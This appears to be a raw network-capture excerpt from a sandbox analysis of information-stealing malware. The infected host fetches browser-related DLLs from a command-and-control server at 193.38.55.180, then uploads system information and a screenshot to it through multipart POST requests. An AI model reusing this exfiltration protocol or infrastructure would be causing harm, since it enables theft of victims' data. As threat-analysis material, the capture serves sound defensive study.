Oct 3, 2022 17:35:28.672790051 CEST	7928	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:28.729851961 CEST	7930	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:28 GMT Content-Type: application/octet-stream Content-Length: 627128 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:36 GMT ETag: "62543da8-991b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!V/@AcQ,pr4CWh0.text `.rdata0@@.data0@.00cfgP @@.tls`"@.rsrcp$@@.reloc4CD.@B
Oct 3, 2022 17:35:31.206670046 CEST	8593	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:31.264838934 CEST	8598	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:31 GMT Content-Type: application/octet-stream Content-Length: 684984 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:40:08 GMT ETag: "62543dc8-a73b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL&9b"!6@A4,S,xT8$&0.D.text `.rdata0@@.data<F@&@.00cfg(@@.rsrcx*@@.reloc8$&.@B
Oct 3, 2022 17:35:31.906486034 CEST	9322	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:31.982829094 CEST	9324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:31 GMT Content-Type: application/octet-stream Content-Length: 254392 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:58 GMT ETag: "62543dbe-3e1b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL'9b"!@AtvSw5hqD{.textV `.rdata@@.data~@.00cfg@@.rsrc@@.reloc56@B
Oct 3, 2022 17:35:32.690691948 CEST	9594	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:32.745559931 CEST	9595	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:32 GMT Content-Type: application/octet-stream Content-Length: 1099223 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 12:28:56 GMT ETag: "62541f08-10c5d7" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 70 0e 00 00 2e 00 00 00 f8 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 a0 0e 00 00 0c 00 00 00 26 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 b0 0e 00 00 04 00 00 00 32 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL",bv! a n* ;.text`P`.data\|' (@`.rdataDPF:@`@.bss(`.edatan*,@0@.idata@0.CRT,@0.tls @0.rsrc@0.reloc; <@0B/48`@@B/19Rp@B/31]'@(@B/45-p.@B/57\&@0B/70#2@B/
Oct 3, 2022 17:35:36.879015923 CEST	10751	OUT	POST /981c0ceb6cf45499fb5c43ee25c05c17 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=qrOOA7k7DV76787M User-Agent: TakeMyPainBack Host: 193.38.55.180 Content-Length: 7372 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:36.879120111 CEST	10757	OUT	Data Raw: 2d 2d 71 72 4f 4f 41 37 6b 37 44 56 37 36 37 38 37 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 79 73 74 65 6d 20 Data Ascii: --qrOOA7k7DV76787MContent-Disposition: form-data; name="file"; filename="System Info.txt"Content-Type: application/x-objectSystem Information: - Locale: English- Time zone: - OS: Windows 10 Pro- Architecture: x64- CPU: Intel(R
Oct 3, 2022 17:35:36.967148066 CEST	10758	OUT	Data Raw: 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 20 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 0a 09 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 4e 6f 74 65 20 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 20 31 36 2e 30 2e 34 32 36 36 2e Data Ascii: MUI (English) 2016 16.0.4266.1001Microsoft OneNote MUI (English) 2016 16.0.4266.1001Microsoft Groove MUI (English) 2016 16.0.4266.1001Microsoft Office OSM MUI (English) 2016 16.0.4266.1001Microsoft Office OSM UX MUI (English) 2016 16.0
Oct 3, 2022 17:35:38.572940111 CEST	10759	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Oct 3, 2022 17:35:47.288665056 CEST	10760	OUT	POST /981c0ceb6cf45499fb5c43ee25c05c17 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=Nz4W8cv6XnM82dwg User-Agent: TakeMyPainBack Host: 193.38.55.180 Content-Length: 105209 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:47.288841963 CEST	10772	OUT	Data Raw: 0d 0a 2d 2d 4e 7a 34 57 38 63 76 36 58 6e 4d 38 32 64 77 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 2d 2d 2d 53 63 Data Ascii: --Nz4W8cv6XnM82dwgContent-Disposition: form-data; name="file"; filename="---Screenshot.jpeg"Content-Type: application/x-objectJFIF``C $.' ",#(7),01444'9=82<.342C2!
Oct 3, 2022 17:35:47.317898989 CEST	10779	OUT	Data Raw: f2 af 3d f8 85 7f fd a1 e3 7d 49 c1 ca 44 e2 05 f6 d8 02 9f d4 1a a5 ab 45 7d e1 df 12 5d 41 1e a1 31 ba 81 b6 9b 98 dd 91 89 c0 cf 39 cf eb 58 f2 c8 f2 c8 d2 48 ec f2 39 2c cc c7 25 89 ea 49 ad 28 d2 49 a9 a7 75 61 4e 77 5c ad 75 3d 33 4a f1 37 Data Ascii: =}IDE}]A19XH9,%I(IuaNw\u=3J7{(a>v>lt\|Wo[SSm~_}a86vx_ir["h(0''Ojs{s+J3>A?'7Tf?xe
Oct 3, 2022 17:35:47.317969084 CEST	10794	OUT	Data Raw: 58 69 91 6d a4 c5 4b 8a 31 4a c5 5c 87 6d 21 15 31 14 d2 b5 2e 23 52 21 22 90 8a 94 8a 69 15 36 2a e4 78 c5 14 f2 29 31 4a c3 b8 ca 29 f8 a6 91 48 62 52 f6 a3 14 0a 00 42 29 31 4f c5 26 29 0e e3 08 a4 c5 3e 90 8a 56 1d c6 e2 8c 53 b1 46 28 b0 5c Data Ascii: XimK1J\m!1.#R!"i6*x)1J)HbRB)1O&)>VSF(\f)qKN&(;%&)qKJCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwe
Oct 3, 2022 17:35:47.318418980 CEST	10799	OUT	Data Raw: a7 8e b4 04 a7 6d aa 48 9b 80 a7 8a 68 14 f0 2a 88 61 8a 76 da 4a 51 41 21 b2 8d 95 20 a7 0a 76 27 99 95 cc 74 9e 5d 5a c5 2e cc d1 60 e7 29 f9 74 9e 5d 5d f2 e9 3c af 6a 5c a3 f6 85 2f 2e 8d 95 6c c5 ed 4d 31 fb 51 ca 57 b4 2a 14 a3 6d 5a 31 d2 Data Ascii: mHhavJQA! v't]Z.`)t]]<j\/.lM1QWmZ1>r]>BX\|!iqRmaS.)q8\S1NSLjSK,Bm7URhP84YC=j-O\|XR}`Di@>-bC1K~1
Oct 3, 2022 17:35:47.347016096 CEST	10807	OUT	Data Raw: 48 7a 80 69 fb e2 61 f3 c4 a6 9f b6 92 dd 1b 26 9e cc e4 4a 91 d8 d2 7d 6b ab 36 b6 72 f5 4c 54 6d a3 5b 49 ca 3e 2a be b1 1e a5 72 b3 99 a2 b7 a4 f0 f3 7f 03 a9 aa b2 68 97 29 d1 72 3d aa d5 68 3e a2 69 ad d1 97 4b 56 5e c2 e2 3e b1 b0 fc 2a 06 Data Ascii: Hzia&J}k6rLTm[I>rh)r=h>iKV^>U5jIfih(AKJ8vi#ERgWlxAO+\SS%8kH)i)h(%(QE)Gz(`QEQEMhQE6 QJ(S)P8lP(8]#=)M5,6
Oct 3, 2022 17:35:47.347016096 CEST	10812	OUT	Data Raw: c8 8d fd c6 c9 38 02 a8 5e 5a cd 61 7f 73 65 72 9b 2e 2d e4 68 a4 5c e7 0c 0e 0d 74 97 be 24 d0 f6 eb 57 16 f6 56 f7 92 6a 73 59 5d 0b 0b e1 33 2c 72 aa c9 e6 e5 93 60 62 18 83 fd d3 bf a7 04 0c 21 25 b5 fc f2 df 6a ba cf 97 7d 75 3c f2 4e 0d b3 Data Ascii: 8^Zaser.-h\t$WVjsY]3,r`b!%j}u<N60^>w;0>^T/5(+ATexUGvlr`r34N- PEAE-RRQEZNQ@Mh$Z(SE-%()E0SqTHMJ)1L
Oct 3, 2022 17:35:47.347083092 CEST	10817	OUT	Data Raw: c3 35 bf 10 cf ab da 69 f6 7c a5 ad 95 bc 71 24 79 fb cc 14 02 c7 f2 e3 da a5 f0 f6 b8 f6 30 de 69 73 4c d1 d8 df c6 63 76 07 fd 53 11 80 ff 00 4e c7 d4 57 a3 3c a9 ba 6e 77 f7 af 7f 97 f9 ff 00 c3 1e 64 33 64 aa 28 5b dd b5 be 7f e5 ff 00 0e 7b Data Ascii: 5i\|q$y0isLcvSNW<nwd3d([{>A9W^#^MswhW76WncnA}7,_jPx.<;S\|97!s#a%/BP^V8HM
Oct 3, 2022 17:35:47.347115993 CEST	10827	OUT	Data Raw: af 96 36 5c e4 b4 61 39 66 2f f2 b1 fb b4 de 26 ce d6 eb f8 75 7f 2f f3 25 61 ee b7 ff 00 87 e8 be 67 0a 2a 69 2d a7 86 de 1b 89 60 95 21 9f 71 86 46 42 16 4d a7 07 69 e8 70 78 38 a8 7b 57 5e d3 2d ff 00 86 3c 37 e1 eb 97 54 4b db 49 9e d6 67 6c Data Ascii: 6\a9f/&u/%ag*i-`!qFBMipx8{W^-<7TKIglnE2{+ToR%3twc.m. fbKG$9W+s}Ngsk9S.\|\|;MBcYZ&l<9cXdra.zM2<qrqM/l=_59
Oct 3, 2022 17:35:51.589600086 CEST	10865	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none 